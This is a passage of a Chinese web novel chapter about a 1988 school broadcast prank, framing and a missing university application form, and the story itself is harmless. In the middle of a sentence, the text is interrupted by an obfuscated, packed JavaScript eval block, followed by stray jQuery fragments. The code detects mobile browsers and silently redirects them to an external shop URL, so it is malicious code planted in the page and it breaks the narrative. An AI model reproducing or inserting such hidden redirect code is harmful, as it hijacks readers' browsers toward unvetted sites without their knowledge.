一九八八年的秋天，厂区子弟中学的喇叭有三个毛病。
一是早上七点二十准时刺啦，像有人拿铁勺刮搪瓷盆；二是教导主任一讲话就拖长音，能把“同学们”喊得像“同——学——们——”；三是每逢广播站读优秀作文，必定有一半学生低头补作业，另一半学生趴在桌上犯困。
周念安原本也以为，今天不会有什么不同。
她坐在高三一班第一排，白衬衫的领口扣得整整齐齐，蓝色头绳把头发扎在脑后，笔尖停在练习册第三道解析题旁边。窗外梧桐叶被秋风吹得翻了面，阳光落在课桌边缘，像一层薄薄的糖。
班主任李老师进门时，脸上难得带着笑。
“都安静一下啊。”她拍拍讲台，“今天早读前，广播站要读一篇优秀作文，咱们班周念安同学的，《我与新时代同行》。大家都好好听听，特别是后排几位，别一天到晚眼睛长在窗户外面。”
后排有人拖长声音“哦”了一下。
周念安没有回头。
她知道那是谁的声音。
梁潮生。
旧厂区里最不像学生的学生。
每天衬衫不是扣错一颗，就是干脆敞着领口；书包瘪得像只没吃饱的猫，里头常年装的不是课本，是螺丝刀、磁带盒、半截电线和一堆不知道从哪儿拆下来的零件。老师骂他不学好，他笑嘻嘻地认；同学说他混，他也不解释，只把脚往桌腿上一勾，懒洋洋回一句：“混也得讲技术。”
周念安不喜欢他。
倒也不是讨厌。
她只是觉得这人太吵，太不安分，像冬天窗户缝里漏进来的风，关不严，赶不走，偏还带着一股旧磁带里的热闹劲儿。
喇叭刺啦一声响了。
全班瞬间静下来。
广播员是隔壁二班的女生，声音甜得像糖精水。
“老师们，同学们，早上好。今天为大家播送的是高三一班周念安同学的优秀作文——”
周念安下意识把笔握紧了一点。
她不是怕丢人。她从小到大被点名表扬的次数不少，早该习惯。可每一次名字从喇叭里传出来，她还是会觉得背脊绷紧，像全校所有眼睛都从四面八方压过来。
“题目是——”
喇叭里忽然断了一下。
不是平时那种接触不良的刺啦声，而是有人按了暂停键，又匆匆换了什么东西。下一秒，里头响起一阵很轻的电流声，接着，是一个男声。
那声音故意压低了，带着点笑。
“咳，试音，试音。”
全班先是一愣。
后排有人“噗”地笑出声。
男声继续说：“送给高三一班那个每天扎蓝头绳、从不抬头看人的女同学——别老皱眉，皱多了以后照相不好看。”
空气安静了一瞬。
紧接着，整栋教学楼像被人拿竹竿捅了马蜂窝。
高三一班炸得最厉害。
前排女生捂着嘴笑，后排男生拍桌子，还有人故意拉长声音：“周——念——安——”
周念安耳根一下烧起来。
不是羞，是气。
她猛地抬头，正好看见李老师的脸从“欣慰”变成“铁青”，再从“铁青”变成“今天非抓一个出来不可”。
喇叭里已经放起了歌。
调子轻快，节奏里带着八十年代末街头巷尾最流行的那种劲儿，像有人穿着白衬衫骑车穿过厂区大门，车铃一响，阳光都跟着晃。
歌声还没唱到第二句，走廊尽头传来教导主任的怒吼。
“谁！谁在广播室！”
紧接着是一阵脚步声，夹着板凳翻倒、门被撞开的声音。广播戛然而止，喇叭里只剩下刺啦刺啦的杂音。
全班还在笑。
周念安把笔帽扣上，声音不高，却很清楚：“很好笑吗？”
笑声像被人从中间掐断。
她长得不是特别凶的那种姑娘。眉眼清秀，皮肤白，平时说话慢条斯理，老师眼里标准的好学生。可她真冷下脸的时候，反倒比班主任拍桌子还管用。
后排的笑声小了下去。
只有梁潮生还靠在椅背上，嘴角翘着，一副看热闹不嫌事大的样子。
周念安回头看他。
他今天穿了一件浅蓝衬衫，袖子挽到小臂，手腕上有一道油污，像是刚拆过什么机器。窗外的光斜斜照在他脸上，衬得他眼尾那点笑更加招人烦。
她盯着他：“是你？”
梁潮生挑了下眉：“你看我像会夸你照相好看的人？”
这话听着不像否认，更像找打。
周念安还没开口，走廊里已经传来一阵更大的动静。
教导主任押着一个人从楼梯口过来，手里还拎着半截磁带。那人不是别人，正是梁潮生。
准确地说，是另一个梁潮生。
全班齐刷刷转头。
他们这才发现，刚刚坐在后排的“梁潮生”不知什么时候已经没影了。椅子还晃着，窗户半开，窗台上留着一枚黑色的小螺丝。
教导主任把人拽到教室门口时，梁潮生一只手插兜，另一只手拎着个破录音机，领口沾着灰，头发被风吹得乱七八糟，像刚从墙头滚下来。
“梁潮生！”教导主任气得声音都劈了，“又是你！翻墙，逃课，私闯广播室，你还敢拿学校广播胡闹！”
梁潮生抬起眼，先看了一圈教室，最后目光落到周念安身上。
他笑了一下。
那笑不是讨好，也不是心虚，倒像在说：巧了，这热闹还真赶上了。
周念安心里那点火气忽然停住。
不对。
她刚才明明看见后排有人坐着。
虽然只是余光，虽然那人很快就翻窗跑了，可她确定，那身浅蓝衬衫、那股懒散劲儿，和梁潮生像得不能再像。
但门口这个人袖口有一块新蹭的墙灰，裤脚沾着草籽，鞋底还有湿泥。学校后墙那边刚浇过菜地，他若是刚翻墙进来，根本来不及坐在后排看完整场热闹。
李老师走过去，脸色很难看：“主任，这事要不要先问清楚？”
“还问什么？”主任把磁带一举，“人赃并获！他从广播室后窗跳出去，被我在墙根逮住的！”
梁潮生拖着调子：“主任，我纠正一下，是我从后墙进来，不是从广播室出去。方向不一样，性质也不一样。”
“你还贫！”
“我不贫，您也不信。”
主任气得抬手要拍他后脑勺，手举到一半，碍着李老师和一班这么多学生，又硬生生放下了。
周念安看向他手里的磁带。
那是一盘普通空白带，外壳透明，里头贴了张白色小标签。标签上写着两个字：点歌。
字迹歪歪扭扭，故意写得很丑。
可周念安看久了，眉头慢慢皱起来。
“主任。”她忽然开口。
全班又安静了。
主任正愁没地方下台，见她说话，语气稍微缓了点：“周念安同学，你是受害人。你放心，学校一定严肃处理。”
“这盘磁带不是他做的。”
教室里又是一阵低低的抽气声。
梁潮生也看向她。
这回他脸上的笑淡了点，像是真没想到她会说这句话。
主任愣住：“你说什么？”
周念安站起来，走到门口，伸手说：“我能看看吗？”
主任迟疑一下，把磁带递给她。
周念安没有急着看标签，先看磁带边缘。
透明外壳有一道细小划痕，螺丝口很干净，说明没拆开过。磁带头处被剪过，接头贴了透明胶，胶边压得很平。她把磁带稍微转了半圈，指腹摸到胶带尽头，那里有三道细细的压痕。
她抬头：“广播站剪辑台压出来的。”
主任一怔。
李老师也走近了：“念安，你确定？”
“我帮广播站誊过稿，见他们剪过磁带。”周念安声音不快不慢，“学校那台旧剪辑机，压胶的时候会留下三道印，因为滚轮缺了一块。梁潮生平时修录音机，用的是小刀和火柴盒，胶贴得没这么齐。”
梁潮生忍不住笑出声。
主任瞪他：“你笑什么！”
“没什么。”梁潮生摸摸鼻子，“头一回有人夸我手艺糙，夸得这么有理有据。”
周念安看都没看他：“我不是夸你。”
“听出来了。”
主任脸上挂不住：“就算磁带是在广播站剪的，也可能是他进广播站剪的！”
“广播站钥匙在广播员和团委老师那里。”周念安说，“今天早读前，团委老师去开会，广播员进广播室时，门已经开着。说明动磁带的人比她早进去。”
她顿了顿，目光扫过走廊。
“梁潮生刚从后墙进来，鞋底的泥还是湿的。后墙到广播室要经过操场、升旗台、实验楼后门，来回至少五分钟。可磁带出事前两分钟，后排有人模仿他的声音坐在我们班。”
这话一出，班里彻底乱了。
“真有人坐后面？”
“我也看见了，好像是梁潮生啊。”
“不会吧，两个梁潮生？”
“你少胡说，怪吓人的。”
主任眉头拧得更深：“你看清是谁了吗？”
周念安沉默了一下。
她没有看清。
那人坐在梁潮生常坐的位置，穿浅蓝衬衫，声音也像，甚至连靠椅子的姿势都学得很像。可越是这样，越说明这事不是一时兴起。
有人早就知道梁潮生今天会逃课，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17697642|208021||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
早就知道他常坐哪里，也早就知道只要广播一出事，全校第一个怀疑的人一定是他。
这不是胡闹。
这是嫁祸。
梁潮生像是也想到了这一层，唇边那点笑终于没了。
主任看看周念安，又看看梁潮生，最后硬着声音说：“那也不能证明他没参与。”
“我证明不了他完全没参与。”周念安把磁带还回去，“但至少不能现在就说是他。”
她说完，转身要回座位。
梁潮生忽然叫住她：“周念安。”
她停下。
他还是那副吊儿郎当的样子，只是眼神比刚才认真了一点：“你干嘛帮我？”
周念安看着他。
教室里几十双眼睛都在看他们。
她脸上还有刚才被广播闹出的红意，却没有半点躲闪。
“我不是帮你。”她说，“我只是讨厌犯事的人躲在人群里笑。”
梁潮生怔了一下。
然后他笑了。
这回笑得很轻，不像平时那样欠揍。
主任被他们一来一回说得头疼，正要开口，广播室那边忽然跑来一个女生，脸都白了。
是隔壁二班的广播员。
“主任，不好了。”她喘得上气不接下气，“广播室抽屉里，还有一盘磁带。”
主任一听“磁带”两个字，太阳穴都跳了：“还有？”
广播员点头，手里紧紧攥着一个磁带盒。
周念安原本已经坐下了，听见这话，心口莫名一沉。
广播员把盒子递过来。
那是一个旧盒子，外壳有点磨花，里面夹着一张折起来的纸。主任刚想拿，纸却从缝里滑出来，轻飘飘落在地上。
周念安离得最近，低头看见纸上的字。
这回不是故意写丑的字迹。
字很清秀，像是用钢笔一笔一画写出来的。
上面只有一句话：
周念安，你真以为你的志愿表还在老师那里吗？
她的脸色终于变了。
那一瞬间，教室里所有声音都远了。
梁潮生也看见了那张纸。
他弯腰，比主任快一步捡起来，低头扫了一眼，再抬头时，眼里那点散漫彻底收了干净。
“周念安。”他压低声音，“你志愿表怎么了？”
周念安没有回答。
她想起昨天傍晚，李老师让她把志愿预填表放进办公室抽屉，说周一统一交上去。她亲眼看着抽屉关上，也亲眼看着李老师把钥匙放进口袋。
可是今天早上，广播站里竟然出现了这张纸。
有人不仅动了磁带。
还知道她最不能被碰的东西是什么。
教导主任终于意识到事情不太对，脸色一点点沉下来。
“所有人回教室。”他说，“这事学校会查。周念安，梁潮生，你们两个跟我去广播室。”
班里一下炸开。
李老师想说什么，又咽回去，只低声叮嘱周念安：“别怕，有老师在。”
周念安点点头。
她往外走时，梁潮生跟在她旁边，手里还拎着那个破录音机。经过楼梯口，他忽然偏头问她：“你平时得罪人吗？”
周念安看他一眼：“我不像你。”
“那不一定。”梁潮生说，“有些人安安静静坐着，也招人眼红。”
这话不像玩笑。
周念安脚步停了一下。
窗外风把梧桐叶吹得簌簌响，操场上的升旗绳拍着铁杆，一下，一下，像老式钟表在催人。
她忽然意识到，今天早上的事，可能不只是一次难堪的恶作剧。
有人把她的名字放进喇叭里，让全校笑她。
又把她的志愿表藏进磁带盒里，让她知道自己躲不开。
周念安攥紧手指，指甲陷进掌心。
梁潮生看见了，没多说，只把手里的录音机换到另一边，替她挡开了楼道里挤过来看热闹的人。
他嘴上还是不正经：“走吧，优秀作文没播成，咱俩先去演一出侦探片。”
周念安本来不想理他。
可不知道为什么，听见这句话，她紧绷了一早上的那根弦，竟然松了一点。
她冷着脸说：“你少说两句，会比较像清白的人。”
梁潮生笑了声。
“那不行。”他说，“我一安静，主任更害怕。”
两人一前一后走向广播室。
身后教室里，窃窃私语像潮水一样追上来。
而广播室那扇半开的门后，老旧录音机还亮着红灯，卡槽里静静躺着第二盘磁带。
标签上贴着一行更小的字。
不是点歌。
是——
回声。